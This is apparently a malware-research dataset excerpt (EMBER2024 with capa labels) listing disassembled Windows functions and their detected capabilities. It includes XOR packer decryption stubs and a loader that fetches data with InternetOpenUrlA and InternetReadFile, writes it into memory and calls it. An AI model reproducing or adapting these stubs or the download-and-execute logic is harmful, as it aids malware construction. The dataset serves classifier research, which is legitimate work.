joyce8/EMBER2024-capa huggingface dataset:
Function at 0x458e20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x808
mov eax, dword [0x466008]
xor eax, esp
mov dword [esp + 0x804], eax
cmp dword [0x46a678], 0xfc7
mov dword [esp], 0x343f0
jne 0x458e56
push 0
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
add dword [esp + 4], 0xd
mov ecx, dword [0x46937c]
imul ecx, dword [esp + 4]
add ecx, 0x269ec3
cmp dword [0x46a678], 0x1381
mov dword [0x46937c], ecx
movzx esi, word [0x46937e]
jne 0x458e90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [esp + 0x808]
mov eax, esi
pop esi
xor ecx, esp
and eax, 0x7fff
call fcn.0040127c
add esp, 0x808
ret

Function at 0x458eb0
Capabilities:
Get file attributes

Disassembly:
cmp dword [0x46a678], 0x930
jne 0x458ed0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push 0
push 0
call esi
push 0
push 0
call esi
pop esi
cmp dword [0x46a678], 0x114e
mov eax, dword [esp + 4]
mov dword [0x46937c], eax
jne 0x458ef0
push str.ficujivusabut
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ed0
nop
mov ecx, 0x57731fc4
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x268244fe
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x5a686697
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x199e21fb
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp int.00401219
Function at 0x413cb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0x4be548
mov dword [esp + 8], 0x413c60
mov dword [0x4be548], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [0x4be54c], eax
lea eax, [ebp - 4]
mov dword [esp + 0x14], eax
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
mov esp, ebp
pop ebp
ret

Function at 0x413d10
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x500
lea ebx, [ebp - 0x4f8]
call fcn.00419d70
mov dword [esp + 4], 0x413d00
mov edx, dword [0x4b7324]
mov dword [esp], ebx
sub edx, eax
mov eax, dword [0x4be538]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00457590
mov esi, eax
mov ecx, ebx
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
and edx, 0x80808080
je 0x413d60
test edx, 0x8080
jne 0x413d85
shr edx, 0x10
add ecx, 2
mov dword [esp + 4], esi
add dl, dl
sbb ecx, 3
mov dword [esp], ecx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call sub.KERNEL32.DLL_OutputDebugStringA
mov eax, dword [0x4be518]
sub esp, 4
mov ecx, ebx
test eax, eax
jne 0x413e07
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
and edx, 0x80808080
je 0x413db0
test edx, 0x8080
jne 0x413dd5
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, ebx
lea eax, [ecx + 5]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [0x4be518], eax
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
inc dword [0x4be528]
xor eax, eax
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov dword [esp + 4], 0x413d0d
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [0x4be518]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov esi, eax
mov ecx, ebx
nop
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
and edx, 0x80808080
je 0x413e30
test edx, 0x8080
jne 0x413e55
shr edx, 0x10
add ecx, 2
add dl, dl
sbb ecx, 3
sub ecx, ebx
lea eax, [ecx + esi + 5]
mov dword [esp + 4], eax
mov eax, dword [0x4be518]
mov dword [esp], eax
call sub.msvcrt.dll_realloc
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [0x4be518], eax
call sub.msvcrt.dll_strcat
jmp 0x413df8
Function at 0x4543a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], 0x4cfd60
mov dword [esp + 8], 0x454310
mov dword [0x4cfd60], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [0x4cfd64], eax
lea eax, [ebp - 4]
mov dword [esp + 0x14], eax
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
mov esp, ebp
pop ebp
ret

Function at 0x45bc40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 8]
mov edi, dword [esi + 0x24]
mov ecx, dword [esi + 0x6c]
lea esi, [esi]
lea edi, [edi]
mov eax, dword [esi + 0x34]
mov edx, dword [esi + 0x64]
sub eax, ecx
sub eax, edx
mov dword [ebp - 0x10], eax
jne 0x45bd08
test edx, edx
jne 0x45bd08
test ecx, ecx
jne 0x45bd08
mov dword [ebp - 0x10], edi
lea esi, [esi]
lea edi, [edi]
mov edx, dword [esi]
mov ebx, dword [edx + 4]
test ebx, ebx
je 0x45bd00
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov ecx, dword [esi + 0x30]
mov eax, dword [esi + 0x64]
mov ebx, dword [esi + 0x6c]
mov dword [esp], edx
add eax, ecx
add eax, ebx
mov dword [esp + 4], eax
call fcn.0045b980
mov ecx, dword [esi + 0x6c]
add eax, ecx
cmp eax, 2
mov dword [esi + 0x6c], eax
jbe 0x45bce7
mov ebx, dword [esi + 0x30]
mov edx, dword [esi + 0x64]
mov ecx, dword [esi + 0x50]
movzx eax, byte [edx + ebx]
mov dword [esi + 0x40], eax
shl eax, cl
movzx edx, byte [edx + ebx + 1]
xor eax, edx
mov edx, dword [esi + 0x4c]
and eax, edx
mov dword [esi + 0x40], eax
mov eax, dword [esi + 0x6c]
cmp eax, 0x105
mov ecx, eax
ja 0x45bd00
mov eax, dword [esi]
mov eax, dword [eax + 4]
test eax, eax
jne 0x45bc60
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
cmp dword [ebp - 0x10], 0xffffffff
je 0x45bd90
mov ecx, dword [esi + 0x24]
mov eax, edi
add eax, ecx
sub eax, 0x106
cmp edx, eax
jb 0x45bc90
mov edx, dword [esi + 0x30]
mov dword [esp + 8], edi
lea eax, [edi + edx]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_memcpy
sub dword [esi + 0x68], edi
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0x3c]
sub dword [esi + 0x64], edi
sub dword [esi + 0x54], edi
lea eax, [eax + ecx*2]
mov esi, esi
sub eax, 2
xor ebx, ebx
movzx edx, word [eax]
cmp edx, edi
jb 0x45bd60
mov ebx, edx
sub ebx, edi
mov word [eax], bx
dec ecx
jne 0x45bd50
mov eax, dword [esi + 0x38]
mov ecx, edi
lea eax, [eax + edi*2]
mov esi, esi
sub eax, 2
xor ebx, ebx
movzx edx, word [eax]
cmp edx, edi
jb 0x45bd80
mov ebx, edx
sub ebx, edi
mov word [eax], bx
dec ecx
jne 0x45bd70
add dword [ebp - 0x10], edi
jmp 0x45bc90
mov dword [ebp - 0x10], 0xfffffffe
jmp 0x45bc90
Function at 0x473ee9
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
xor eax, sym.imp.KERNEL32.DLL_GetModuleHandleA
push edi
push 0
call esi
mov ecx, dword [0x4bdbc0]
mov edi, eax
push ecx
call esi
mov ecx, dword [0x4bdc1c]
push ecx
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ecx, dword [0x4bdbd8]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ecx
push eax
call ebp
mov ecx, dword [0x4bdc2c]
mov ebx, eax
mov dword [esp + 0x1c], 0
and al, 0x1c
add byte [eax], al
add byte [eax], al
mov edx, dword [edi + 0xd55f4]
push ecx
call edx
mov ecx, dword [0x4bdbd0]
add esp, 4
mov esi, eax
push ecx
push dword [esp + 0x18]
call ebp
push 0x104
push esi
push 0
call eax
push esi
call ebx
mov edi, dword [0x4bdc04]
mov esi, eax
cmp dword [edi], 0
je 0x473fcc
movzx eax, word [esi]
xor ecx, ecx
mov ebx, eax
test ax, ax
je 0x473f81
nop
inc ecx
cmp word [esi + ecx*2], 0
jne 0x473f79
cmp cl, byte [edi]
je 0x473fa8
cmp cl, byte [edi + 1]
je 0x473fa8
mov eax, dword [0x4bdc34]
push 0x10
push eax
mov eax, dword [0x4bdbd4]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
xor edx, edx
xor ecx, ecx
test ax, ax
je 0x473fc2
movzx eax, ax
lea ecx, [ecx + 1]
add edx, eax
movzx eax, word [esi + ecx*2]
test ax, ax
jne 0x473fb1
cmp edx, dword [edi + 4]
je 0x473fcc
cmp edx, dword [edi + 8]
jne 0x473f8a
mov eax, dword [0x4bdc38]
lea ebx, [esi + 0x20a]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ecx, dword [str.InternetOpenA]
mov esi, eax
push ecx
push esi
call ebp
mov ecx, dword [str.InternetOpenUrlA]
mov edi, eax
push ecx
push esi
call ebp
mov ecx, dword [str.InternetReadFile]
push ecx
push esi
mov dword [esp + 0x20], eax
call ebp
mov ecx, dword [0x4bdbcc]
mov esi, eax
push 0
push 0
push 0
push 1
push ecx
mov dword [esp + 0x24], 0
call edi
test eax, eax
je 0x473f8a
mov ecx, dword [0x4bdbec]
push 0
push ecx
mov ecx, dword [0x4bdc00]
push 0
push 0
push ecx
push eax
call dword [esp + 0x30]
test eax, eax
je 0x473f8a
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [0x4bdc2c]
push ecx
push ebx
push eax
call esi
test eax, eax
je 0x473f8a
mov eax, dword [esp + 0x10]
test eax, eax
je 0x473f8a
lea edx, [eax + ebx]
cmp edx, ebx
je 0x473f8a
mov esi, dword [ebx]
xor ecx, ecx
mov eax, dword [0x4bdc30]
mov eax, dword [eax + ecx]
add eax, esi
mov dword [ecx + edx], eax
add ecx, 4
cmp ecx, 0x20
jl 0x47407b
push edx
push dword [esp + 0x18]
call ebp
test eax, eax
je 0x473f8a
mov ecx, dword [0x4bdbfc]
push 0
push 0
push ecx
lea ecx, [esp + 0x28]
push ecx
call eax
jmp 0x473f8a
Function at 0x478fd0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 8], esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], ebx
mov eax, dword [edi]
lock add dword [eax], 1
mov eax, 0xffffffff
mov ebx, dword [esi]
lock xadd dword [ebx], eax
dec eax
je 0x479010
mov eax, dword [edi]
mov dword [esi], eax
mov ebx, dword [ebp - 0xc]
mov eax, esi
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push edi
push 0
call esi
push dword [0x4bdbc0]
mov ebx, eax
mov dword [esp + 0x2c], ebx
call esi
push dword [0x4bdc2c]
mov esi, dword [ebx + 0xd55f4]
mov dword [esp + 0x28], eax
call esi
push dword [0x4bdc2c]
and dword [esp + 0x1c], 0
call esi
pop ecx
pop ecx
push dword [0x4bdc38]
mov ebx, eax
mov edi, ebx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push dword [0x4bdbdc]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
push esi
call ebp
mov dword [esp + 0x1c], eax
push dword [0x4bdbc4]
push esi
call ebp
mov dword [esp + 0x20], eax
push dword [0x4bdc24]
push esi
call ebp
mov dword [esp + 0x18], eax
xor eax, eax
push eax
push eax
push eax
push 1
push dword [0x4bdbcc]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x30]
call eax
test eax, eax
je 0x4791ac
xor ecx, ecx
push ecx
push dword [0x4bdbec]
push ecx
push ecx
push dword [0x4bdc00]
push eax
mov eax, dword [esp + 0x38]
call eax
mov esi, eax
test esi, esi
je 0x4791ac
lea eax, [esp + 0x10]
push eax
push dword [0x4bdc2c]
mov ecx, dword [esp + 0x20]
push ebx
push esi
call ecx
test eax, eax
je 0x4791ac
cmp dword [esp + 0x10], 0
jbe 0x479109
add edi, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push dword [0x4bdc2c]
mov eax, dword [esp + 0x20]
push edi
push esi
call eax
test eax, eax
jne 0x4790e7
cmp edi, ebx
je 0x4791ac
mov edx, dword [ebx]
xor ecx, ecx
mov eax, dword [0x4bdc3c]
mov eax, dword [eax + ecx]
add eax, edx
mov dword [ecx + edi], eax
add ecx, 4
cmp ecx, 0x20
jl 0x479115
push edi
push dword [esp + 0x28]
call ebp
mov edi, eax
test edi, edi
je 0x4791ac
mov esi, dword [0x4bdbe4]
lea eax, [esp + 0x14]
push eax
push dword [0x4bdc0c]
push 0x4000
push esi
call edi
mov ecx, dword [0x4bdc18]
lea edx, [esi + 8]
add ecx, dword [esp + 0x28]
mov ebx, 0xffe
add byte [eax], al
mov eax, dword [ecx + 4]
sub ecx, esi
mov dword [esp + 0x28], eax
mov eax, dword [ecx + edx]
add eax, dword [esp + 0x28]
mov dword [edx], eax
lea edx, [edx + 4]
sub ebx, 1
jne 0x47916b
mov eax, dword [0x4bdbf8]
mov dword [esi + 8], eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push 0x4000
push esi
call edi
mov eax, dword [0x4bdbe8]
mov ecx, dword [esi + 0xc]
add ecx, eax
mov eax, dword [0x4bdbe8]
add ecx, esi
add esi, eax
push esi
call ecx
pop ecx
push 0x10
push dword [0x4bdc34]
push dword [0x4bdbd4]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x479160
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 8], esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], ebx
mov eax, dword [edi]
lock add dword [eax], 1
mov eax, 0xffffffff
mov ebx, dword [esi]
lock xadd dword [ebx], eax
dec eax
je 0x479010
mov eax, dword [edi]
mov dword [esi], eax
mov ebx, dword [ebp - 0xc]
mov eax, esi
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push edi
push 0
call esi
push dword [0x4bdbc0]
mov ebx, eax
mov dword [esp + 0x2c], ebx
call esi
push dword [0x4bdc2c]
mov esi, dword [ebx + 0xd55f4]
mov dword [esp + 0x28], eax
call esi
push dword [0x4bdc2c]
and dword [esp + 0x1c], 0
call esi
pop ecx
pop ecx
push dword [0x4bdc38]
mov ebx, eax
mov edi, ebx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push dword [0x4bdbdc]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
push esi
call ebp
mov dword [esp + 0x1c], eax
push dword [0x4bdbc4]
push esi
call ebp
mov dword [esp + 0x20], eax
push dword [0x4bdc24]
push esi
call ebp
mov dword [esp + 0x18], eax
xor eax, eax
push eax
push eax
push eax
push 1
push dword [0x4bdbcc]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x30]
call eax
test eax, eax
je 0x4791ac
xor ecx, ecx
push ecx
push dword [0x4bdbec]
push ecx
push ecx
push dword [0x4bdc00]
push eax
mov eax, dword [esp + 0x38]
call eax
mov esi, eax
test esi, esi
je 0x4791ac
lea eax, [esp + 0x10]
push eax
push dword [0x4bdc2c]
mov ecx, dword [esp + 0x20]
push ebx
push esi
call ecx
test eax, eax
je 0x4791ac
cmp dword [esp + 0x10], 0
jbe 0x479109
add edi, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push dword [0x4bdc2c]
mov eax, dword [esp + 0x20]
push edi
push esi
call eax
test eax, eax
jne 0x4790e7
cmp edi, ebx
je 0x4791ac
mov edx, dword [ebx]
xor ecx, ecx
mov eax, dword [0x4bdc3c]
mov eax, dword [eax + ecx]
add eax, edx
mov dword [ecx + edi], eax
add ecx, 4
cmp ecx, 0x20
jl 0x479115
push edi
push dword [esp + 0x28]
call ebp
mov edi, eax
test edi, edi
je 0x4791ac
mov esi, dword [0x4bdbe4]
lea eax, [esp + 0x14]
push eax
push dword [0x4bdc0c]
push 0x4000
push esi
call edi
mov ecx, dword [0x4bdc18]
lea edx, [esi + 8]
add ecx, dword [esp + 0x28]
mov ebx, 0xffe
add byte [eax], al
mov eax, dword [ecx + 4]
sub ecx, esi
mov dword [esp + 0x28], eax
mov eax, dword [ecx + edx]
add eax, dword [esp + 0x28]
mov dword [edx], eax
lea edx, [edx + 4]
sub ebx, 1
jne 0x47916b
mov eax, dword [0x4bdbf8]
mov dword [esi + 8], eax
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push 0x4000
push esi
call edi
mov eax, dword [0x4bdbe8]
mov ecx, dword [esi + 0xc]
add ecx, eax
mov eax, dword [0x4bdbe8]
add ecx, esi
add esi, eax
push esi
call ecx
pop ecx
push 0x10
push dword [0x4bdc34]
push dword [0x4bdbd4]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x47f7c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [0x4d4a80]
mov edi, dword [ebp + 8]
test eax, eax
je 0x47f8e0
mov ecx, dword [eax + 0x2c]
test ecx, ecx
js 0x47f8d0
mov edx, dword [eax + 0x2c]
test edx, edx
jne 0x47f8a4
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 0xc]
test eax, eax
jne 0x47f890
mov dword [esp], edi
lea eax, [ebp - 0x14]
mov dword [esp + 4], eax
call fcn.0047f370
cmp eax, 7
jne 0x47f8ef
mov eax, dword [0x4d4a80]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x47f880
mov edi, dword [eax + 0x2c]
test edi, edi
js 0x47f870
mov esi, dword [eax + 0x2c]
test esi, esi
jne 0x47f850
mov dword [eax + 0x24], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ebp, dword [eax + 0x20]
mov ecx, dword [edx + 4]
mov esp, dword [edx + 8]
jmp ecx
mov eax, dword [eax + 0x28]
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.DLL_TlsSetValue
sub esp, 8
test eax, eax
jne 0x47f838
call fcn.00471630
jmp 0x47f838
call fcn.0047f0d0
mov eax, dword [0x4d4a80]
jmp 0x47f82e
call fcn.0047ee10
mov eax, dword [0x4d4a80]
jmp 0x47f827
mov dword [esp], edi
lea eax, [ebp - 0x14]
mov dword [esp + 4], eax
call fcn.0047f5b0
jmp 0x47f812
mov ebx, dword [eax + 0x28]
call fcn.00471630
mov esi, eax
mov dword [esp], ebx
call sub.KERNEL32.DLL_TlsGetValue
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call sub.KERNEL32.DLL_SetLastError
sub esp, 4
mov eax, ebx
jmp 0x47f7f2
call fcn.0047f0d0
mov eax, dword [0x4d4a80]
jmp 0x47f7e4
call fcn.0047ee10
mov eax, dword [0x4d4a80]
jmp 0x47f7d9
call fcn.00482d80
lea esi, [esi]
lea edi, [edi]
Function at 0x47f900
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov ebx, dword [edi + 0xc]
test ebx, ebx
je 0x47fa17
mov eax, dword [0x4d4a80]
test eax, eax
je 0x47fa08
mov ecx, dword [eax + 0x2c]
test ecx, ecx
js 0x47f9f9
mov edx, dword [eax + 0x2c]
test edx, edx
jne 0x47f9d0
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.0047f5b0
cmp eax, 7
jne 0x47fa2c
mov eax, dword [0x4d4a80]
mov ebx, dword [ebp - 0x14]
test eax, eax
je 0x47f9c0
mov edi, dword [eax + 0x2c]
test edi, edi
js 0x47f9ad
mov esi, dword [eax + 0x2c]
test esi, esi
jne 0x47f990
mov dword [eax + 0x24], ebx
mov eax, dword [ebp - 0x14]
lea edx, [eax + 0x20]
mov ebp, dword [eax + 0x20]
mov ecx, dword [edx + 4]
mov esp, dword [edx + 8]
jmp ecx
mov eax, dword [eax + 0x28]
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.DLL_TlsSetValue
sub esp, 8
test eax, eax
jne 0x47f97e
call fcn.00471630
jmp 0x47f97e
call fcn.0047f0d0
mov eax, dword [0x4d4a80]
jmp 0x47f974
call fcn.0047ee10
mov eax, dword [0x4d4a80]
jmp 0x47f96d
mov ebx, dword [eax + 0x28]
call fcn.00471630
mov esi, eax
mov dword [esp], ebx
call sub.KERNEL32.DLL_TlsGetValue
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call sub.KERNEL32.DLL_SetLastError
sub esp, 4
mov eax, ebx
jmp 0x47f943
call fcn.0047f0d0
mov eax, dword [0x4d4a80]
jmp 0x47f935
call fcn.0047ee10
mov eax, dword [0x4d4a80]
jmp 0x47f92a
mov dword [esp], edi
call fcn.0047f410
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
call fcn.00482d80
jmp fcn.0047fa40
Function at 0x4a2fd0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], esi
mov esi, dword [ebp + 8]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp + 0xc]
add esi, 0x30
mov dword [esp], esi
mov dword [esp + 4], ebx
call fcn.00478dd0
dec al
jne 0x4a3000
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [ebp + 0xc], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp + 8], esi
mov esi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp fcn.00478fd0

Function at 0x4a8140
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x18]
sub esp, 0x78
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x3c], 0x473640
mov dword [ebp - 0x38], 0x4b6348
mov dword [ebp - 0x30], 0x4a82da
mov dword [ebp - 0x2c], esp
mov dword [esp], eax
call fcn.0047f180
mov edx, dword [0x4b96b4]
test edx, edx
je 0x4a82b2
cmp dword [ebp + 8], 0x80
ja 0x4a8198
mov eax, dword [0x4b96b4]
test eax, eax
jle 0x4a81c8
mov dword [ebp - 0x50], 0xffffffff
mov ecx, dword [ebp + 8]
mov dword [esp], ecx
call fcn.00475ba0
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x54]
mov dword [esp], eax
call fcn.0047f230
mov eax, dword [ebp - 0x58]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
add eax, 7
mov dword [ebp - 0x5c], eax
shr eax, 3
lea eax, [eax*4 - 4]
mov dword [ebp - 0x60], eax
mov eax, dword [0x4b96c0]
test eax, eax
je 0x4a829a
mov eax, dword [0x4b9690]
test eax, eax
jne 0x4a8282
mov ecx, dword [ebp - 0x60]
mov edx, dword [ecx + 0x4d48b0]
test edx, edx
je 0x4a8267
mov eax, dword [edx]
mov dword [ebp - 0x58], edx
mov ecx, dword [ebp - 0x60]
mov dword [ecx + 0x4d48b0], eax
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x4a8259
mov eax, dword [0x4b96c0]
test eax, eax
je 0x4a8244
mov eax, dword [0x4b9690]
test eax, eax
je 0x4a81ad
mov dword [esp], 0x4b96cc
mov dword [ebp - 0x50], 0xffffffff
call fcn.0047fe90
jmp 0x4a81ad
mov dword [esp], 0x4b96c0
mov dword [ebp - 0x50], 0xffffffff
call fcn.004a2c00
jmp 0x4a8223
mov dword [ebp - 0x50], 1
call fcn.00477070
jmp 0x4a821a
and dword [ebp - 0x5c], 0xfffffff8
mov dword [ebp - 0x50], 1
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call fcn.004a8340
mov dword [ebp - 0x58], eax
jmp 0x4a8213
mov dword [esp], 0x4b96cc
mov dword [ebp - 0x50], 0xffffffff
call fcn.0047fe30
jmp 0x4a81f8
mov dword [esp], 0x4b96c0
mov dword [ebp - 0x50], 0xffffffff
call fcn.004a2c00
jmp 0x4a81eb
mov dword [esp], 0x475d80
call sub.msvcrt.dll_getenv
test eax, eax
je 0x4a82d3
mov eax, 1
lock add dword [0x4b96b4], eax
jmp 0x4a8186
mov eax, 0xffffffff
jmp 0x4a82c7